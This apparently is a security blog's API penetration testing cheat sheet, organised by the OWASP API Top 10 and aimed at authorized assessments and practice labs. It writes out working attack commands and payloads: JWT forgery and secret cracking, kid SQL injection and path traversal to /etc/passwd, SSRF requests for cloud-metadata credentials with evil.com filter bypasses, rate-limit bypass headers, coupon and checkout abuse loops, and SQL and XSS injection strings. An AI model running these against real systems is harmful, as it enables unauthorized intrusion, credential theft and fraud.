Skip to content
SecureKhan
Go back

API Pentesting Cheat Sheet: Hands-On Commands for OWASP API Top 10

This is Part 2 of my API security series. Part 1 covers the concepts and methodologyβ€”this post is the hands-on cheat sheet.

Every technique here is something I’ve used in labs or real assessments. Copy, paste, modify for your target.


Quick Reference

VulnerabilitySeverityFirst Test
BOLA/IDORπŸ”΄ CriticalChange object ID, keep your token
Broken AuthπŸ”΄ CriticalDecode JWT, test alg: none
Property Level🟠 HighAdd "role": "admin" to requests
Resource Exhaustion🟠 High?limit=999999
BFLAπŸ”΄ CriticalAccess /api/admin/* with user token
Business Flows🟠 HighAutomate purchases, reuse coupons
SSRFπŸ”΄ Critical{"url": "http://169.254.169.254/"}
Misconfiguration🟑 MediumCheck /swagger.json, test CORS
Inventory🟠 HighTry /api/v1/, /api/beta/
Unsafe Consumption🟑 MediumPoison webhook callback data

Essential Tools: Burp Suite | ffuf | jwt_tool | Kiterunner


API1: Broken Object Level Authorization (BOLA/IDOR)

Test

# Your account
curl -H "Authorization: Bearer $TOKEN" \
     https://api.target.com/api/users/100

# Someone else's account (same token, different ID)
curl -H "Authorization: Bearer $TOKEN" \
     https://api.target.com/api/users/101

πŸ”΄ Vulnerable Response:

HTTP/1.1 200 OK
{"id": 101, "email": "victim@example.com", "ssn": "123-45-6789"}

🟒 Secure Response:

HTTP/1.1 403 Forbidden
{"error": "Access denied"}

More Commands

Identify endpoints with object references:

GET /api/users/12345/profile
GET /api/orders?order_id=9876
POST /api/messages {"recipient_id": "5432"}

Enumerate sequential IDs with ffuf:

ffuf -u "https://api.target.com/api/users/FUZZ/profile" \
     -w <(seq 1 10000) \
     -H "Authorization: Bearer $TOKEN" \
     -mc 200

Handle encoded IDs:

# Decode base64 ID
echo "MTIzNDU=" | base64 -d   # Output: 12345

# Encode modified ID
echo "12346" | base64         # Use this in your request

Automate with Burp Autorize:

  • Install Autorize from BApp Store
  • Paste low-privilege session token in config
  • Browse the app as high-privilege user
  • Check results: Red = broken authorization

Test both directions:

# Horizontal: User A β†’ User B's data
# Vertical: Regular user β†’ Admin user's data (try ID 1, 0, admin)

API2: Broken Authentication (JWT Focus)

Test

# Decode and inspect the token
echo "$JWT" | cut -d. -f1 | base64 -d  # Header
echo "$JWT" | cut -d. -f2 | base64 -d  # Payload

πŸ”΄ Vulnerable Response (alg:none accepted):

HTTP/1.1 200 OK
{"user": "admin", "role": "administrator"}

🟒 Secure Response:

HTTP/1.1 401 Unauthorized
{"error": "Invalid token signature"}

More Commands

Test β€œnone” algorithm attack:

# Original header
{"alg": "HS256", "typ": "JWT"}

# Modified header (base64 encode this)
{"alg": "none", "typ": "JWT"}

# Build token: header.payload. (no signature, but keep the dot)

Algorithm confusion attack (RS256 β†’ HS256):

# Get the public key
curl -s https://target.com/.well-known/jwks.json | jq

# Convert JWK to PEM, then use jwt_tool
python3 jwt_tool.py "$JWT" -X k -pk public.pem

# Or manually: change alg to HS256, sign with public key as secret

Crack weak secrets:

# Using hashcat
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# Using jwt_tool
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt

Test kid parameter injection:

# SQL injection in kid
{"alg":"HS256", "typ":"JWT", "kid":"key1' UNION SELECT 'secret'--"}

# Path traversal in kid
{"alg":"HS256", "typ":"JWT", "kid":"../../../etc/passwd"}

Test token lifecycle:

# Replay expired tokens
# Modify payload without re-signing
# Use token after logout
# Use token from different user

API3: Broken Object Property Level Authorization

Test

# Check what comes back
curl -s https://api.target.com/api/users/me | jq

πŸ”΄ Vulnerable Response (excessive data):

HTTP/1.1 200 OK
{
  "id": 100,
  "email": "user@example.com",
  "password_hash": "$2b$12$...",
  "ssn": "123-45-6789",
  "internal_role": "user",
  "api_key": "sk_live_..."
}

🟒 Secure Response:

HTTP/1.1 200 OK
{
  "id": 100,
  "email": "user@example.com",
  "name": "John Doe"
}

More Commands

Mass Assignment β€” Inject extra fields:

# Original request
POST /api/users
{"username": "test", "password": "test123"}

# Try adding privilege fields
curl -X POST https://api.target.com/api/users \
     -H "Content-Type: application/json" \
     -d '{
       "username": "test",
       "password": "test123",
       "role": "admin"
     }'

Common fields to try:

{"isAdmin": true}
{"role": "admin"}
{"permissions": ["read", "write", "delete"]}
{"verified": true}
{"credits": 99999}
{"discount": 100}
{"price": 0}
{"approved": true}

Discover parameters with Arjun:

arjun -u https://api.target.com/api/users -m JSON \
      -H "Authorization: Bearer $TOKEN"

API4: Unrestricted Resource Consumption

Test

# Rapid-fire requests
for i in {1..100}; do
  curl -s -o /dev/null -w "%{http_code}\n" \
       https://api.target.com/api/login \
       -d '{"user":"admin","pass":"test'$i'"}' &
done

πŸ”΄ Vulnerable Response (no rate limit):

200
200
200
... (100 times, no 429)

🟒 Secure Response:

200
200
429 Too Many Requests
429 Too Many Requests

More Commands

Test pagination limits:

curl "https://api.target.com/api/users?limit=999999"
curl "https://api.target.com/api/users?per_page=100000"
curl "https://api.target.com/api/users?page_size=-1"

GraphQL resource exhaustion:

# Depth attack
query {
  user {
    friends {
      friends {
        friends {
          friends { name }
        }
      }
    }
  }
}

# Width attack (request everything)
query {
  user { ...allFields }
  posts { ...allFields }
  comments { ...allFields }
}

GraphQL batching (bypass rate limits):

curl -X POST https://api.target.com/graphql \
     -H "Content-Type: application/json" \
     -d '{
       "query": "mutation { a: login(u:\"admin\",p:\"pass1\"){token} b: login(u:\"admin\",p:\"pass2\"){token} c: login(u:\"admin\",p:\"pass3\"){token} }"
     }'

API5: Broken Function Level Authorization (BFLA)

Test

# Access admin endpoint with regular user token
curl -H "Authorization: Bearer $USER_TOKEN" \
     https://api.target.com/api/admin/users

πŸ”΄ Vulnerable Response:

HTTP/1.1 200 OK
[{"id": 1, "email": "admin@example.com", "role": "admin"}, ...]

🟒 Secure Response:

HTTP/1.1 403 Forbidden
{"error": "Admin access required"}

More Commands

Fuzz for admin/internal endpoints:

ffuf -u "https://api.target.com/api/FUZZ" \
     -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
     -H "Authorization: Bearer $USER_TOKEN" \
     -mc 200,201,204,403

Common admin paths to try:

curl -H "Authorization: Bearer $USER_TOKEN" https://api.target.com/api/admin/users
curl -H "Authorization: Bearer $USER_TOKEN" https://api.target.com/api/admin/config
curl -H "Authorization: Bearer $USER_TOKEN" https://api.target.com/api/internal/metrics
curl -H "Authorization: Bearer $USER_TOKEN" https://api.target.com/api/debug
curl -H "Authorization: Bearer $USER_TOKEN" https://api.target.com/api/management/users

HTTP method tampering:

# If GET is allowed, try dangerous methods with user token
curl -X DELETE -H "Authorization: Bearer $USER_TOKEN" \
     https://api.target.com/api/users/123

curl -X PUT -H "Authorization: Bearer $USER_TOKEN" \
     https://api.target.com/api/users/123 \
     -d '{"role": "admin"}'

curl -X PATCH -H "Authorization: Bearer $USER_TOKEN" \
     https://api.target.com/api/settings \
     -d '{"debug": true}'

Test with different Content-Types:

# Sometimes different parsers have different auth
curl -X POST https://api.target.com/api/admin/users \
     -H "Content-Type: application/xml" \
     -d '<user><role>admin</role></user>'

API6: Unrestricted Access to Sensitive Business Flows

Test

# Apply same coupon multiple times
for i in {1..10}; do
  curl -X POST https://api.target.com/api/apply-coupon \
       -H "Authorization: Bearer $TOKEN" \
       -d '{"code": "SAVE50"}'
done

πŸ”΄ Vulnerable Response (coupon applied multiple times):

{"message": "Coupon applied", "discount": 50}
{"message": "Coupon applied", "discount": 50}
{"message": "Coupon applied", "discount": 50}

🟒 Secure Response:

{"message": "Coupon applied", "discount": 50}
{"error": "Coupon already used"}
{"error": "Coupon already used"}

More Commands

Automate purchases:

for i in {1..50}; do
  curl -X POST https://api.target.com/api/checkout \
       -H "Authorization: Bearer $TOKEN" \
       -H "Content-Type: application/json" \
       -d '{"item_id": "limited_item", "quantity": 1}' &
done

Referral abuse:

# Can you refer yourself?
curl -X POST https://api.target.com/api/referral \
     -H "Authorization: Bearer $TOKEN" \
     -d '{"referral_code": "YOUR_OWN_CODE"}'

API7: Server-Side Request Forgery (SSRF)

Test

# AWS metadata
curl -X POST https://api.target.com/api/fetch \
     -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

πŸ”΄ Vulnerable Response (AWS creds leaked):

HTTP/1.1 200 OK
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "..."
}

🟒 Secure Response:

HTTP/1.1 400 Bad Request
{"error": "Invalid URL - internal addresses not allowed"}

More Commands

Find URL input parameters:

POST /api/fetch {"url": "https://example.com"}
POST /api/webhook {"callback_url": "https://attacker.com"}
POST /api/import {"source_url": "https://storage.com/data.csv"}
POST /api/preview {"link": "https://site.com"}

Test cloud metadata endpoints:

# AWS
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

# GCP
{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}

# Azure
{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}

Bypass URL filters:

# Decimal IP (127.0.0.1 = 2130706433)
{"url": "http://2130706433/admin"}

# IPv6 localhost
{"url": "http://[::1]/admin"}
{"url": "http://[0:0:0:0:0:0:0:1]/admin"}

# URL encoding
{"url": "http://127.0.0.1%00@evil.com/"}
{"url": "http://localhost%23@evil.com/"}

# Alternative representations
{"url": "http://127.1/"}
{"url": "http://0/"}

Internal port scanning:

# Check common internal services
for port in 22 80 443 3306 5432 6379 8080 9200; do
  curl -s -o /dev/null -w "%{http_code}" \
       https://api.target.com/api/fetch \
       -d "{\"url\": \"http://127.0.0.1:$port\"}"
  echo " - Port $port"
done

Use Burp Collaborator for blind SSRF:

{"url": "http://your-id.burpcollaborator.net/"}

API8: Security Misconfiguration

Test

curl -H "Origin: https://evil.com" \
     -I https://api.target.com/api/users/me

πŸ”΄ Vulnerable Response (CORS misconfigured):

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

🟒 Secure Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://trusted-app.com

More Commands

Also test CORS with:

curl -H "Origin: null" -I https://api.target.com/api/users/me
curl -H "Origin: https://api.target.com.evil.com" -I https://api.target.com/api/users/me

Find exposed documentation:

endpoints=(
  "swagger.json"
  "swagger/v1/swagger.json"
  "openapi.json"
  "api-docs"
  "swagger-ui.html"
  "api/swagger.json"
  "docs"
  "graphql"
  "graphiql"
  "altair"
  "playground"
  ".well-known/openapi.yaml"
)

for endpoint in "${endpoints[@]}"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://api.target.com/$endpoint")
  echo "$code - /$endpoint"
done

Check allowed methods:

curl -X OPTIONS https://api.target.com/api/users -I

Trigger verbose errors:

curl "https://api.target.com/api/users/{{invalid}}"
curl "https://api.target.com/api/users/-1"
curl "https://api.target.com/api/users/'; DROP TABLE users;--"

API9: Improper Inventory Management

Test

# v2 with auth
curl -H "Authorization: Bearer $TOKEN" https://api.target.com/api/v2/users

# v1 without auth (test if it works)
curl https://api.target.com/api/v1/users

πŸ”΄ Vulnerable Response (old version has no auth):

HTTP/1.1 200 OK
[{"id": 1, "email": "admin@example.com"}, ...]

🟒 Secure Response:

HTTP/1.1 401 Unauthorized
{"error": "Authentication required"}

More Commands

Enumerate API versions:

versions=("v1" "v2" "v3" "v4" "beta" "alpha" "internal" "legacy" "test" "dev" "staging" "old")

for ver in "${versions[@]}"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
         -H "Authorization: Bearer $TOKEN" \
         "https://api.target.com/api/$ver/users")
  echo "$code - /api/$ver/users"
done

Discover shadow APIs with kiterunner:

kr scan https://api.target.com -A=apiroutes-210228:20000 \
   -H "Authorization: Bearer $TOKEN"

Check subdomains for APIs:

# Common API subdomains
for sub in api api-dev api-staging api-test internal-api; do
  curl -s -o /dev/null -w "%{http_code} - $sub\n" "https://$sub.target.com/"
done

API10: Unsafe Consumption of APIs

Test

# Register webhook pointing to your server
# Return malicious payloads when the API fetches from you

πŸ”΄ Vulnerable: API processes your malicious payload without validation

🟒 Secure: API validates/sanitizes all external data

Attack Scenarios

If the app has webhooks, poison the callback data:

# Your webhook returns:
{"user": "<script>alert('xss')</script>"}
{"data": "'; DROP TABLE users;--"}

Test if third-party data is validated:

# If API imports from external sources, inject payloads there
# XSS, SQLi, command injection in imported data

GraphQL-Specific Attacks

Introspection query (dump the schema):

curl -X POST https://api.target.com/graphql \
     -H "Content-Type: application/json" \
     -d '{"query": "{ __schema { types { name fields { name type { name } } } } }"}'

When introspection is disabled, use field suggestions:

# Send invalid field, server might suggest valid ones
curl -X POST https://api.target.com/graphql \
     -H "Content-Type: application/json" \
     -d '{"query": "{ usr { name } }"}'

# Response: "Did you mean 'user'?"

Find mutations:

curl -X POST https://api.target.com/graphql \
     -H "Content-Type: application/json" \
     -d '{"query": "{ __schema { mutationType { fields { name } } } }"}'

Rate Limit Bypass Techniques

IP spoofing headers:

curl -H "X-Forwarded-For: 127.0.0.1" https://api.target.com/api/login
curl -H "X-Originating-IP: 1.2.3.4" https://api.target.com/api/login
curl -H "X-Client-IP: 10.0.0.1" https://api.target.com/api/login
curl -H "X-Real-IP: 192.168.1.1" https://api.target.com/api/login
curl -H "True-Client-IP: 172.16.0.1" https://api.target.com/api/login

Endpoint variations (different rate limit buckets):

/api/login
/api/login/
/api/login?dummy=1
/API/LOGIN
/api/v1/login
/api/v1.0/login

Parameter variations:

{"username": "admin", "password": "test"}
{"username": "admin ", "password": "test"}   # trailing space
{"username": " admin", "password": "test"}   # leading space
{"username": "Admin", "password": "test"}    # case change

Essential Tools Quick Reference

Endpoint discovery:

kr scan https://target.com -A=apiroutes-210228:20000

Parameter discovery:

arjun -u https://target.com/api/endpoint -m JSON

Directory/endpoint fuzzing:

ffuf -u "https://target.com/api/FUZZ" -w wordlist.txt -mc 200,201,204

JWT manipulation:

# Decode
jwt_tool "$JWT"

# Crack
jwt_tool "$JWT" -C -d wordlist.txt

# Tamper
jwt_tool "$JWT" -T

GraphQL:

# Introspection
curl -X POST https://target.com/graphql \
     -H "Content-Type: application/json" \
     -d '{"query": "{ __schema { types { name } } }"}'

Practice Labs

crAPI β€” Full OWASP API Top 10 coverage

docker compose -f docker-compose.yml up -d
# Access at localhost:8888

DVGA β€” GraphQL-specific attacks

docker run -t -p 5013:5013 dolevf/dvga

Juice Shop β€” Mixed web/API testing

docker run -d -p 3000:3000 bkimminich/juice-shop

VAmPI β€” Toggleable vulnerabilities

docker run -e vulnerable=1 -p 5000:5000 erev0s/vampi:latest

Reporting Template

Use this format when documenting API security findings:

## Finding: [Vulnerability Name]

**Severity:** Critical / High / Medium / Low (CVSS X.X)
**Endpoint:** [METHOD] /api/path
**Parameter:** [Affected parameter]

### Description
[Brief description of the vulnerability]

### Steps to Reproduce
1. Authenticate as [user type]
2. Send request: [curl command or request details]
3. Observe: [what happens]

### Vulnerable Request
[Include the actual request]

### Vulnerable Response
[Include the actual response showing the issue]

### Impact
[Business impact - data exposure, account takeover, etc.]

### Remediation
[Specific fix recommendation]

### References
- OWASP API Security Top 10: [API#]
- CWE: [CWE-XXX]

Example:

## Finding: Broken Object Level Authorization in User Profile API

**Severity:** Critical (CVSS 9.1)
**Endpoint:** GET /api/users/{id}/profile
**Parameter:** id (path parameter)

### Description
The API does not validate that the authenticated user has permission
to access the requested user profile, allowing any authenticated user
to access any other user's profile data.

### Steps to Reproduce
1. Authenticate as User B (ID: 200)
2. Send: GET /api/users/100/profile with User B's token
3. Observe: User A's (ID: 100) full profile is returned

### Impact
Attacker can enumerate and access all user profiles, exposing PII
including email, phone, address, and SSN for all users.

### Remediation
Implement server-side authorization checks to verify the authenticated
user has permission to access the requested resource before returning data.

Burp Extensions to Install

ExtensionPurpose
AutorizeAutomated authorization testing
JWT EditorJWT manipulation and attacks
InQLGraphQL introspection and query generation
Param MinerHidden parameter discovery
Logger++Enhanced request logging
Turbo IntruderFast parallel requests for race conditions

That’s the cheat sheet. Bookmark it, use it on your next assessment, and let me know if I missed anything.

For the concepts behind all of this, check out Part 1.


Questions or feedback? Find me on GitHub.


Share this post on:

Previous Post
Active Directory Attack Path: From Domain User to Domain Admin
Next Post
API Penetration Testing: OWASP API Security Top 10 (2023) Explained